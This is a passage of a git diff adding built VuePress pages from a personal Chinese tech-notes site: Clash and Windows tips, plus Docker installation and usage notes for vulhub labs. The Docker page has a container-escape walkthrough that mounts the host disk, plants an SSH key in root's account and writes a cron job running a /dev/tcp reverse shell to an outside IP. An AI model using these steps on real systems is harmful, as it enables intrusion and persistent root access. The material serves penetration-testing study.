应用的网络隔离,后续新安装的 UWP 应用也要按照上面步骤进行添加,否则 UWP 应用就会无法联网;此外,像 Git、npm、yarn 这些是无法走系统代理的,需要 "),e("a",oa,[n("手动设置代理"),s(a)]),n(",而且一些不支持设置代理但又无法在天朝直连国际互联网的软件/应用 Fuxk GFW 也是个难题,而绝佳的 CFW(Clash For Windows) 提供了 TUN/TAP 模式就很好的解决了这个问题")]),ra])]),e("li",null,[ca,e("ul",null,[e("li",null,[e("p",null,[n("点击"),da,n("中"),pa,n("右边"),ua,n(",在打开窗口中安装服务模式,安装完成应用会自动重启,Service Mode 右边地球图标变为"),ha,n("即安装成功(无法安装参考:"),e("a",ma,[n("这里"),s(a)]),n(")")]),e("blockquote",null,[e("p",null,[e("a",ga,[n("Service Mode 作用是啥?为什么要开启这个模式 · Issue #2839 · Fndroid/clash_for_windows_pkg (github.com)"),s(a)])])]),ba,_a]),va])])]),fa,ka,e("blockquote",null,[e("p",null,[e("a",Ea,[n("Mixin | Clash for Windows (lbyczf.com)"),s(a)])]),e("p",null,[e("a",ya,[n("clash 中的 minxin 使用教程 - cornradio的技术博客"),s(a)])])]),xa,e("blockquote",null,[e("p",null,[e("a",wa,[n("绕过系统代理 | Clash for Windows (lbyczf.com)"),s(a)])]),e("p",null,[e("a",Aa,[n("0.16.2 版,Steam 商店、社区无法加载 · Issue #2035 · Fndroid/clash_for_windows_pkg (github.com)"),s(a)])]),e("p",null,[e("a",Ba,[n("steam如何绕过clash的全局代理 - cornradio的技术博客"),s(a)])])]),Da,e("ul",null,[e("li",null,[e("a",qa,[n("steam工具箱@rmbadmin"),s(a)])]),Ca]),Pa,Sa,Na,e("p",null,[e("a",Wa,[n("如何在 Windows 上為 BlueStacks 5 開啟 Hyper-V"),s(a)])]),Ma,Ta,e("blockquote",null,[e("p",null,[e("a",Fa,[n("如何從您的電腦上完全移除BlueStacks 5"),s(a)]),Ua,e("a",Ia,[n("Bluestacks 5 Cannot Start BlueStacks on Win11 (any 64Bit instance version)"),s(a)])])]),za,e("blockquote",null,[e("p",null,[e("a",Oa,[n("在打印文本的正文字体中,宋体(中易)和微软雅黑孰优孰劣? - 知乎 (zhihu.com)"),s(a)])]),e("p",null,[e("a",Ga,[n("Windows自带的宋体、黑体、楷体、仿宋体等能免费商用吗? - 知乎 (zhihu.com)"),s(a)])]),e("p",null,[e("a",Va,[n("对不起,微软雅黑不是免费字体 - 知乎 (zhihu.com)"),s(a)])])]),La,Ha,Ra,Xa,e("p",null,[n("可以用 "),e("a",ja,[n("WakaTime"),s(a)]),n(" 做代码时间监控")]),Ya,e("p",null,[n("对于窗口活动监控可以使用 "),e("a",Qa,[n("ActivityWatch/activitywatch: The best free and open-source automated time tracker. Cross-platform, extensible, privacy-focused. (github.com)"),s(a)])]),Ja,e("blockquote",null,[e("p",null,[e("a",Ka,[n("ntdll.dll故障_a874045的博客-CSDN博客_ntdll.dll错误"),s(a)]),Za,e("a",$a,[n("如何在Windows 10使用sfc /scannow命令? - 都叫兽软件 | 都叫兽软件 (reneelab.com.cn)"),s(a)])])]),es])}const is=l(c,[["render",ns],["__file","DailyLife.html.vue"]]);export{is as default}; diff --git a/assets/DailyLife.html-6f957971.js b/assets/DailyLife.html-6f957971.js new file mode 100644 index 0000000000..76950bde25 --- /dev/null +++ b/assets/DailyLife.html-6f957971.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-1d0afa17","path":"/DailyLife/DailyLife.html","title":"日常","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"Programming","slug":"programming","link":"#programming","children":[{"level":3,"title":"行尾序列","slug":"行尾序列","link":"#行尾序列","children":[]},{"level":3,"title":"交流社区","slug":"交流社区","link":"#交流社区","children":[]}]},{"level":2,"title":"路由器","slug":"路由器","link":"#路由器","children":[]},{"level":2,"title":"小米","slug":"小米","link":"#小米","children":[{"level":3,"title":"小爱音箱Pro连不上电脑","slug":"小爱音箱pro连不上电脑","link":"#小爱音箱pro连不上电脑","children":[]}]},{"level":2,"title":"证书","slug":"证书","link":"#证书","children":[{"level":3,"title":"软考证书","slug":"软考证书","link":"#软考证书","children":[]},{"level":3,"title":"计算机程序设计能力考试(PAT)","slug":"计算机程序设计能力考试-pat","link":"#计算机程序设计能力考试-pat","children":[]},{"level":3,"title":"项目管理职业资格认证(PMI)","slug":"项目管理职业资格认证-pmi","link":"#项目管理职业资格认证-pmi","children":[]},{"level":3,"title":"华为认证","slug":"华为认证","link":"#华为认证","children":[]}]},{"level":2,"title":"下载","slug":"下载","link":"#下载","children":[{"level":3,"title":"FDM","slug":"fdm","link":"#fdm","children":[]},{"level":3,"title":"IDM","slug":"idm","link":"#idm","children":[]},{"level":3,"title":"aria2","slug":"aria2","link":"#aria2","children":[]},{"level":3,"title":"超星相关","slug":"超星相关","link":"#超星相关","children":[]}]},{"level":2,"title":"搜题目解析","slug":"搜题目解析","link":"#搜题目解析","children":[]},{"level":2,"title":"云盘","slug":"云盘","link":"#云盘","children":[{"level":3,"title":"OneDrive","slug":"onedrive","link":"#onedrive","children":[]},{"level":3,"title":"E5","slug":"e5","link":"#e5","children":[]},{"level":3,"title":"将云盘挂载到本地(RaiDrive)","slug":"将云盘挂载到本地-raidrive","link":"#将云盘挂载到本地-raidrive","children":[]},{"level":3,"title":"微软商店中的iCloud","slug":"微软商店中的icloud","link":"#微软商店中的icloud","children":[]},{"level":3,"title":"Cloudreve","slug":"cloudreve","link":"#cloudreve","children":[]},{"level":3,"title":"Nextcloud","slug":"nextcloud","link":"#nextcloud","children":[]}]},{"level":2,"title":"Microsoft","slug":"microsoft","link":"#microsoft","children":[{"level":3,"title":"Edge","slug":"edge","link":"#edge","children":[]},{"level":3,"title":"Windows","slug":"windows","link":"#windows","children":[]}]},{"level":2,"title":"你需要来自 S-1-5-21-XXXX-XXX-XXX 的权限才能对此文件夹进行更改","slug":"你需要来自-s-1-5-21-xxxx-xxx-xxx-的权限才能对此文件夹进行更改","link":"#你需要来自-s-1-5-21-xxxx-xxx-xxx-的权限才能对此文件夹进行更改","children":[]},{"level":2,"title":"图片OCR->表格","slug":"图片ocr-表格","link":"#图片ocr-表格","children":[]},{"level":2,"title":"英语学习","slug":"英语学习","link":"#英语学习","children":[]},{"level":2,"title":"clash","slug":"clash","link":"#clash","children":[{"level":3,"title":"pip 报错 ValueError: check_hostname requires server_hostname","slug":"pip-报错-valueerror-check-hostname-requires-server-hostname","link":"#pip-报错-valueerror-check-hostname-requires-server-hostname","children":[]},{"level":3,"title":"TUN Mode","slug":"tun-mode","link":"#tun-mode","children":[]},{"level":3,"title":"Mixin","slug":"mixin","link":"#mixin","children":[]},{"level":3,"title":"Bypass","slug":"bypass","link":"#bypass","children":[]}]},{"level":2,"title":"桌面显示器屏幕使用体验","slug":"桌面显示器屏幕使用体验","link":"#桌面显示器屏幕使用体验","children":[{"level":3,"title":"Win11 设置合盖不休眠","slug":"win11-设置合盖不休眠","link":"#win11-设置合盖不休眠","children":[]}]},{"level":2,"title":"Game","slug":"game","link":"#game","children":[{"level":3,"title":"Steam","slug":"steam","link":"#steam","children":[]},{"level":3,"title":"手游模拟器","slug":"手游模拟器","link":"#手游模拟器","children":[]}]},{"level":2,"title":"PowerToys","slug":"powertoys","link":"#powertoys","children":[{"level":3,"title":"自定义窗口布局","slug":"自定义窗口布局","link":"#自定义窗口布局","children":[]},{"level":3,"title":"调整图像大小","slug":"调整图像大小","link":"#调整图像大小","children":[]},{"level":3,"title":"始终置项","slug":"始终置项","link":"#始终置项","children":[]},{"level":3,"title":"文件资源管理器加载项","slug":"文件资源管理器加载项","link":"#文件资源管理器加载项","children":[]},{"level":3,"title":"鼠标实用工具","slug":"鼠标实用工具","link":"#鼠标实用工具","children":[]}]},{"level":2,"title":"字体","slug":"字体","link":"#字体","children":[{"level":3,"title":"中易宋体和微软雅黑","slug":"中易宋体和微软雅黑","link":"#中易宋体和微软雅黑","children":[]}]},{"level":2,"title":"活动监控","slug":"活动监控","link":"#活动监控","children":[]},{"level":2,"title":"零散报错","slug":"零散报错","link":"#零散报错","children":[{"level":3,"title":"Win11 下 QQ 调起文件资源管理器 C:\\\\WINDOWS\\\\SYSTEM32\\\\ntdll.dll 报错","slug":"win11-下-qq-调起文件资源管理器-c-windows-system32-ntdll-dll-报错","link":"#win11-下-qq-调起文件资源管理器-c-windows-system32-ntdll-dll-报错","children":[]}]}],"git":{"createdTime":1667840801000,"updatedTime":1697813995000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":6},{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"233Official","email":"ayusummr233@gmail.com","commits":2},{"name":"233Laptop","email":"ayusummer233@qq.com","commits":1},{"name":"233PC","email":"ayusummer233@gmail.com","commits":1},{"name":"233PC","email":"ayusummer233@qq.com","commits":1}]},"readingTime":{"minutes":34.79,"words":10437},"filePathRelative":"DailyLife/DailyLife.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data}; diff --git a/assets/Docker.html-1210c343.js b/assets/Docker.html-1210c343.js new file mode 100644 index 0000000000..93bf21ca7c --- /dev/null +++ b/assets/Docker.html-1210c343.js @@ -0,0 +1,119 @@ +import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as p,c as u,d as a,w as o,b as e,e as n,f as t}from"./app-893ba623.js";const m={},h=e("h1",{id:"docker",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#docker","aria-hidden":"true"},"#"),n(" Docker")],-1),k=e("h2",{id:"安装",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#安装","aria-hidden":"true"},"#"),n(" 安装")],-1),b={href:"https://cloud.tencent.com/developer/article/1854430",target:"_blank",rel:"noopener noreferrer"},v={href:"https://kalacloud.com/blog/how-to-install-and-use-docker-on-ubuntu/",target:"_blank",rel:"noopener noreferrer"},g=e("hr",null,null,-1),f=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 更新现有的软件包列表"),n(` +`),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 安装所需工具包"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(" apt-transport-https ca-certificates "),e("span",{class:"token function"},"curl"),n(` gnupg-agent software-properties-common +`),e("span",{class:"token comment"},"# 然后将官方 Docker 版本库的 GPG 密钥添加到系统中:"),n(` +`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://download.docker.com/linux/ubuntu/gpg "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(" apt-key "),e("span",{class:"token function"},"add"),n(` - +`),e("span",{class:"token comment"},"# 将 Docker 版本库添加到APT源:"),n(` +`),e("span",{class:"token function"},"sudo"),n(" add-apt-repository "),e("span",{class:"token string"},'"deb [arch=amd64] https://download.docker.com/linux/ubuntu focal stable"'),n(` +`),e("span",{class:"token comment"},"# 用新添加的 Docker 软件包来进行升级更新。"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 确保要从 Docker 版本库,而不是默认的 Ubuntu 版本库进行安装:"),n(` +`),e("span",{class:"token function"},"apt-cache"),n(` policy docker-ce +`),e("span",{class:"token comment"},"# 安装 Docker :"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` docker-ce +`),e("span",{class:"token comment"},"# 现在 Docker 已经安装完毕。我们启动守护程序。检查 Docker 是否正在运行:"),n(` +`),e("span",{class:"token function"},"sudo"),n(" systemctl status "),e("span",{class:"token function"},"docker"),n(` +`),e("span",{class:"token comment"},"# 设置 docker 开机自动启动"),n(` +`),e("span",{class:"token function"},"sudo"),n(" systemctl "),e("span",{class:"token builtin class-name"},"enable"),n(` docker.service +`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),_={href:"https://ywnz.com/linuxjc/6543.html",target:"_blank",rel:"noopener noreferrer"},x=e("hr",null,null,-1),y=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token comment"},"# 更新现有的软件包列表"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 安装所需工具包"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token parameter variable"},"-y"),n(),e("span",{class:"token function"},"install"),n(),e("span",{class:"token function"},"curl"),n(` gnupg2 apt-transport-https software-properties-common ca-certificates +`),e("span",{class:"token comment"},"# 导入用于签署Docker软件包的Docker GPG密钥:"),n(` +`),e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://download.docker.com/linux/debian/gpg "),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(" apt-key "),e("span",{class:"token function"},"add"),n(` - +`),e("span",{class:"token comment"},"# 添加包含Docker CE最新稳定版本的Docker存储库:"),n(` +`),e("span",{class:"token builtin class-name"},"echo"),n(),e("span",{class:"token string"},'"deb [arch=amd64] https://download.docker.com/linux/debian buster stable"'),n(),e("span",{class:"token operator"},"|"),n(),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"tee"),n(` /etc/apt/sources.list.d/docker.list +`),e("span",{class:"token comment"},"# 更新apt包索引"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(` update +`),e("span",{class:"token comment"},"# 在Kali Linux上安装Docker CE"),n(` +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"apt"),n(),e("span",{class:"token function"},"install"),n(` docker-ce docker-ce-cli containerd.io +`),e("span",{class:"token comment"},"# 检查安装的Docker版本"),n(` +`),e("span",{class:"token function"},"docker"),n(` version +`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),D={href:"https://blog.csdn.net/weixin_39786155/article/details/110363154",target:"_blank",rel:"noopener noreferrer"},q=e("div",{class:"language-bash line-numbers-mode","data-ext":"sh"},[e("pre",{class:"language-bash"},[e("code",null,[e("span",{class:"token function"},"curl"),n(),e("span",{class:"token parameter variable"},"-fsSL"),n(" https://get.docker.com "),e("span",{class:"token parameter variable"},"-o"),n(` get-docker.sh +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"sh"),n(` get-docker.sh +`),e("span",{class:"token function"},"sudo"),n(),e("span",{class:"token function"},"service"),n(),e("span",{class:"token function"},"docker"),n(` start +`)])]),e("div",{class:"line-numbers","aria-hidden":"true"},[e("div",{class:"line-number"}),e("div",{class:"line-number"}),e("div",{class:"line-number"})])],-1),w=e("blockquote",null,[e("p",null,"wsl2-kali 是不支持以此种方式安装的, 可以在 Windows 上装 Docker Desktop 并启用 WSL2 访问"),e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202211202356631.png",alt:"image-20221120235620604"})]),e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202211210007112.png",alt:"image-20221121000717073"})])],-1),E=t(`

    换源

    Docker-hub 换源

    打开 /etc/docker/daemon.json 并输入

    {
    +    "registry-mirrors": [
    +      "https://hub-mirror.c.163.com",
    +      "https://ustc-edu-cn.mirror.aliyuncs.com"
    +      ]
    +}
    +
    +

    然后重启 docker

    service docker restart
    +

    镜像

    `,8),A={href:"https://www.cnblogs.com/baizhanshi/p/9655102.html",target:"_blank",rel:"noopener noreferrer"},N=t(`

    image-20220923175753464


    常用指令


    删除镜像

    # 根据 镜像名称 来删除镜像
    +docker rmi centos 
    +# 根据 镜像:标签名称 来删除镜像
    +docker rmi centos:v2
    +# 根据 镜像ID 来删除镜像,
    +docker rmi 7e6257c9f8d8 
    +

    删除两个 id 相同的镜像

    `,8),S={href:"https://blog.csdn.net/wx940627/article/details/106821002",target:"_blank",rel:"noopener noreferrer"},T=e("p",null,[n("通过 "),e("code",null,"docker rmi [镜像:tag]"),n(" 来删除对应标签的镜像, 实际上")],-1),L=e("hr",null,null,-1),C=e("h3",{id:"镜像导出与导入",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#镜像导出与导入","aria-hidden":"true"},"#"),n(" 镜像导出与导入")],-1),I={href:"https://blog.csdn.net/hx_long/article/details/122705151",target:"_blank",rel:"noopener noreferrer"},z=e("hr",null,null,-1),H=e("h3",{id:"将镜像跑为容器",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#将镜像跑为容器","aria-hidden":"true"},"#"),n(" 将镜像跑为容器")],-1),P={href:"https://www.runoob.com/docker/docker-run-command.html",target:"_blank",rel:"noopener noreferrer"},B=e("hr",null,null,-1),O=t(`
    docker run [OPTIONS] IMAGE [COMMAND] [ARG...]
    +

    docker run -it -d --name dvwa -p 8008:80 vuldocker/lamp
    +

    设置名字为dvwa,映射端口为8008

    -i: 交互式操作。

    -t: 终端(一般与i一起)

    -d:后台运行。

    从图中可以看到在执行

    docker run -it -d --name dvwa -p 8008:80 vuldocker/lamp
    +

    指令时出现了问题,说已经有container使用了dvwa这个名字( The container name "/dvwa" is already in use by container "6e3fc590b41c9c6cf6c0d81de14730c127240edecb6a2a5e3debf1565eb3fe6b"),但是从图中也可以看到docker ps指令执行后没有正在运行的container,可以执行


    推送到 Habor

    因为是在只有http sql apach服务的镜像上跑的容器,在容器里配置了dvwa(并没有改变镜像)

    此时将原来的镜像推送还是只有http sql apach服务的镜像,没有自己在容器里的所有配置 需要将容器保存为镜像再去推送才行

    在本地docker客户端--靶机进行如下配置:

    touch /etc/docker/daemon.json
    +vim /etc/docker/daemon.json
    +

    文件中如下配置

    {
    +	"insecure-registries": ["habor-hostip:端口"]
    +}
    +
    sudo systemctl daemon-reload
    +sudo systemctl restart docker
    +# 登录 Habor (登录成功会提示 Login Succeeded)
    +docker login [HaborHostip:端口]
    +# 将本地的image新建1个新的tag
    +docker tag SOURCE_IMAGE[:TAG] [HaborHostip]:[端口]/[目标路径][:TAG]
    +# 推送镜像
    +docker push [HaborHostip]:[端口]/[目标路径][:TAG]
    +

    后续可以通过 docker pull 命令拉取镜像

    docker pull [HaborHostip]:[端口]/[目标路径][:TAG]
    +

    容器

    `,21),M={href:"https://www.cnblogs.com/cqqfboy/p/15209635.html",target:"_blank",rel:"noopener noreferrer"},R=t(`

    常用指令

    将镜像跑为容器

    # 进入容器(使用 bash 或者 sh 均可)
    +docker container exec -it [容器id] /bin/bash
    +docker container exec -it [容器id] /bin/sh
    +
    +# 强制删除容器 docker rm -f [容器 id]
    +# 删除所有容器
    +docker rm -f $(docker ps -a -q)   
    +
    +# 显示当前正在运行的容器
    +docker ps  
    +
    +# 查看容器日志
    +docker logs [容器ID]
    +

    从容器中复制文件到本地(docker cp)

    例:从容器中复制一个test.db文件到本地data目录。

    # 假设存在一个镜像名为 kitty,标签为0.1,创建一个名为 koko的容器
    +
    +# 1. create a container first
    +docker run -itd --name koko kitty:0.1 /bin/bash
    +# 2. copy test.db from koko tmp directory to local data directory.
    +docker cp koko:/tmp/test.db ./data/test.db
    +# 3. rm container koko
    +docker rm -f koko
    +

    docker cp也可以从本地copy文件到容器中:

    # 以上面的代码为例,把容器路径和本地路径颠倒即可.
    +docker cp ./data/test.db koko:/tmp/test.db
    +

    在docker中,LAMP是指Linux(操作系统)、Apache HTTP服务器、MySQL(MariaDB等数据库软件)和PHP(Perl或Python)的组合方案,一般用来建立Web服务器环境。

    `,12),j={href:"https://www.php.cn/docker/488591.html",target:"_blank",rel:"noopener noreferrer"},G=e("hr",null,null,-1),U=e("h3",{id:"将容器重新打包成镜像",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#将容器重新打包成镜像","aria-hidden":"true"},"#"),n(" 将容器重新打包成镜像")],-1),V={href:"https://blog.csdn.net/weixin_45505313/article/details/125020076",target:"_blank",rel:"noopener noreferrer"},Q=e("hr",null,null,-1),W=t(`

    在使用 docker-compose build 命令时, 在有些镜像 build 完启动后发现其环境是并不完整的, 缺少了一些东西

    比如在复现 CVE-2015-3337 时需要安装一个 elasticsearch-head 的插件, 发现用 vulhub 仓库里的 dockerfile

    docker-compose build 构建进行时插件实际上并没有安装成功, 但是镜像成功 build 了

    进入启动的容器进行排错, 最终修复了问题后可以将目前用拥有完整环境的容器重新打包成镜像

    Docker 提供了 commit 命令支持将容器重新打成镜像文件,其命令格式如下所示

     docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]
    +
    Option功能
    -a指定新镜像作者
    -c使用 Dockerfile 指令来创建镜像
    -m提交生成镜像的说明信息
    -p在 commit 时,将容器暂停

    可以先查看下当前运行容器的 id

    docker ps -a | grep [容器相关标识, 比如 cve-2015-3337 之类]
    +
    # 添加描述信息并将容器打包成新的镜像(给个新tag)
    +docker commit -m "add elasticsearch-head" 10f2daf4ead5 cve-2015-3337_es:v0
    +

    安全相关

    Docker逃逸

    反弹 shell 中如何判断自己是否在 docker 容器中


    反弹shell到特权模式的docker容器后进一步获取宿主机权限

    在判断当前反弹shell位置为docker后可以尝试查看下系统中的所有银盘分区表信息

    fdisk -l
    +

    如果没有输出则不是特权模式启动的 Docker 容器

    image-20230619095827529

    如果有输出则可以观察 Device 了

    image-20230619100109506

    image-20230619100145688

    上图Type 为 Linux 的这条即为宿主机的系统分区

    遇到过宿主是实体机固态装系统+一块机械时, 特权容器启动的 docker 能看到机械硬盘所在的分区, 系统分区显示的 /dev/nvme0n1p1 /dev/nvme0n1p2, 一个 PE 一个 LinuxVM 似乎(也许不是 LinuxVM, 不过一定不是LINUX, TODO: 记得确认下), 此时只能再用 lvdisplay 找逻辑卷, 不过这条命令 Docker 容器中不一定有

    看到系统分区后可以在容器中新建一个目录然后挂载该分区

    mkdir /joker
    +mount /dev/sda5 /joker
    +

    image-20230619101649612


    写公钥

    可以尝试写 root 账户的公钥

    image-20230619102252795

    在本机新建一对密钥

    ssh-keygen -t rsa -C "xxl-job"
    +

    -C(comment) 随便填, 有辨识度就行

    在命令执行的交互中可以设置密钥存放的路径, 然后根据回显找到 .pub 公钥

    image-20230619102802288

    然后直接用 echo >> 来续写即可

    image-20230619102953093

    然后就可以 cat 看下了, 顺利的话已经写进去了

    image-20230619103048603

    然后可以直接 ssh 连接到宿主机了

    ssh -i id_rsa root@xxx
    +

    image-20230619103459517


    写定时任务

    ubuntu 默认没有 MTA, 因此执行定时任务可能会报这样的错:

    image-20230626075128404

    所以需要在定时任务中第一行写上 MAILTO="" 以禁用邮件输出

    此外直接写 bash -i >& /dev/tcp/100.1.1.131/7777 0>&1 到定时任务中不一定行得通, 可以写个脚本, 然后定时任务调脚本执行, 比如:

    test.sh:

    #!/bin/bash
    +bash -i >& /dev/tcp/100.1.1.131/7777  0>&1
    +

    /var/spool/cron/crontabs/root:

    MAILTO=""
    +* * * * * /bin/bash test.sh
    +

    常见问题

    ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network

    `,57),F={href:"https://github.com/docker/for-linux/issues/418",target:"_blank",rel:"noopener noreferrer"},K=t(`
    docker network prune
    +

    unable to connect to deb.debian.org:http

    image-20220919202703896

    `,4),J={href:"https://stackoverflow.com/questions/44080220/docker-failed-to-fetch-http-deb-debian-org-debian-dists-jessie-inrelease",target:"_blank",rel:"noopener noreferrer"},X=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202209192029288.png",alt:"image-20220919202953164"})],-1),Y=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202209192030522.png",alt:"image-20220919203028392"})],-1),Z=e("hr",null,null,-1),$=e("h3",{id:"there-is-no-public-key",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#there-is-no-public-key","aria-hidden":"true"},"#"),n(" There is no public key")],-1),ee={href:"https://developer.aliyun.com/article/533899",target:"_blank",rel:"noopener noreferrer"},ne=t(`
    sudo apt-key adv --recv-keys --keyserver keyserver.ubuntu.com [报错缺失的public key]
    +

    debconf: delaying package configuration, since apt-utils is not installed

    `,3),ae={href:"https://github.com/phusion/baseimage-docker/issues/319",target:"_blank",rel:"noopener noreferrer"},se=t(`
    apt-get update && apt-get install -y --no-install-recommends apt-utils
    +

    安装插件失败 - failed to extract plugin [/usr/share/elasticsearch/plugins/head.zip]: ZipException[zip file is empty]

    在使用 docker-compose build 时发现有些时候虽然 build 成功了但是实际上环境是不完整的, 比如在复现 CVE-2015-3337 时需要安装一个插件

    发现 vulhub 该 cve 目录下 docker-compose build 拉取了一个空的插件安装包并且解压失败了, 但是却成功 build

    image-20221208103255765

    观察上图中的输出信息可以看到在安装插件时向 http://download.elasticsearch.org/mobz/elasticsearch-head/elasticsearch-head-1.x.zip. 请求了 zip 资源, 尝试在本地电脑上访问此链接发现下载不下来, 那么可以假定是指向链接出了问题, 那么现在就需要找到一个可用的插件安装链接

    在使用 docker-compose up -d 后进入该容器然后尝试为拉取插件配置一个不可用的代理

    plugin -DproxyHost=192.168.1.33 -DproxyPort=7890 --install mobz/elasticsearch-head/1.x
    +

    此时会尝试从各个可能的地址拉取插件

    image-20221208104125668

    在本地机器上尝试这些链接, 最终找到可用链接 https://codeload.github.com/mobz/elasticsearch-head/zip/refs/heads/1.x

    于是可以使用该链接安装插件

    bin/plugin --install mobz/elasticsearch-head/1.x -u https://codeload.github.com/mobz/elasticsearch-head/zip/refs/heads/1.x
    +

    image-20221208095040475

    验证插件是否安装成功:

    image-20221208104020031

    可以看到已经成功安装上了

    然后 将容器重新打包成镜像 以便后续使用

    `,19);function te(oe,ce){const s=l("ExternalLinkIcon"),d=l("Tabs");return p(),u("div",null,[h,k,a(d,{id:"6",data:[{id:"Ubuntu"},{id:"Debian"},{id:"wsl2"}],active:0},{title0:o(({value:c,isActive:i})=>[n("Ubuntu")]),title1:o(({value:c,isActive:i})=>[n("Debian")]),title2:o(({value:c,isActive:i})=>[n("wsl2")]),tab0:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",b,[n("ubuntu安装docker详细步骤 - 腾讯云开发者社区-腾讯云 (tencent.com)"),a(s)])]),e("p",null,[e("a",v,[n("Docker 入门指南:如何在 Ubuntu 上安装和使用 Docker - 卡拉云 (kalacloud.com)"),a(s)])]),g]),f]),tab1:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",_,[n("在Kali Linux版本中安装Docker(Docker CE社区版)和Docker Compose_Linux教程_云网牛站 (ywnz.com)"),a(s)])]),x]),y]),tab2:o(({value:c,isActive:i})=>[e("blockquote",null,[e("p",null,[e("a",D,[n("docker wsl2启动不了_win10利用WSL2安装docker的2种方式_weixin_39786155的博客-CSDN博客"),a(s)])])]),q,w]),_:1}),E,e("blockquote",null,[e("p",null,[e("a",A,[n("关于docker容器和镜像的区别 - jason.bai - 博客园 (cnblogs.com)"),a(s)])])]),N,e("blockquote",null,[e("p",null,[e("a",S,[n("Docker - 两个id相同的镜像怎么删除_Joker_Wangx的博客-CSDN博客_docker 镜像重复"),a(s)])])]),T,L,C,e("blockquote",null,[e("p",null,[e("a",I,[n("docker容器导出,并将导出镜像在另外一台设备上运行起来_hx_long的博客-CSDN博客_docker 容器导出"),a(s)])])]),z,H,e("blockquote",null,[e("p",null,[e("a",P,[n("Docker run 命令 | 菜鸟教程 (runoob.com)"),a(s)])]),B]),O,e("blockquote",null,[e("p",null,[e("a",M,[n("容器Docker进入的四种方法 - 指尖上的代码go - 博客园 (cnblogs.com)"),a(s)])])]),R,e("blockquote",null,[e("p",null,[e("a",j,[n("docker中的lamp是什么-Docker-PHP中文网"),a(s)])])]),G,U,e("blockquote",null,[e("p",null,[e("a",V,[n("Docker 使用-将容器打成镜像_谈谈1974的博客-CSDN博客_容器打包成镜像"),a(s)])]),Q]),W,e("blockquote",null,[e("p",null,[n("["),e("a",F,[n("openvpn] ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network · Issue #418 · docker/for-linux (github.com)"),a(s)])])]),K,e("blockquote",null,[e("p",null,[e("a",J,[n("Docker failed to fetch http://deb.debian.org/debian/dists/jessie/InRelease - Stack Overflow"),a(s)])])]),X,Y,Z,$,e("blockquote",null,[e("p",null,[e("a",ee,[n("使用apt-get时出现 “no public key available” 的解决方法-阿里云开发者社区 (aliyun.com)"),a(s)])])]),ne,e("blockquote",null,[e("p",null,[n("["),e("a",ae,[n("16.04] debconf: delaying package configuration, since apt-utils is not installed · Issue #319 · phusion/baseimage-docker (github.com)"),a(s)])])]),se])}const de=r(m,[["render",te],["__file","Docker.html.vue"]]);export{de as default}; diff --git a/assets/Docker.html-730b46b7.js b/assets/Docker.html-730b46b7.js new file mode 100644 index 0000000000..3557dab2e4 --- /dev/null +++ b/assets/Docker.html-730b46b7.js @@ -0,0 +1 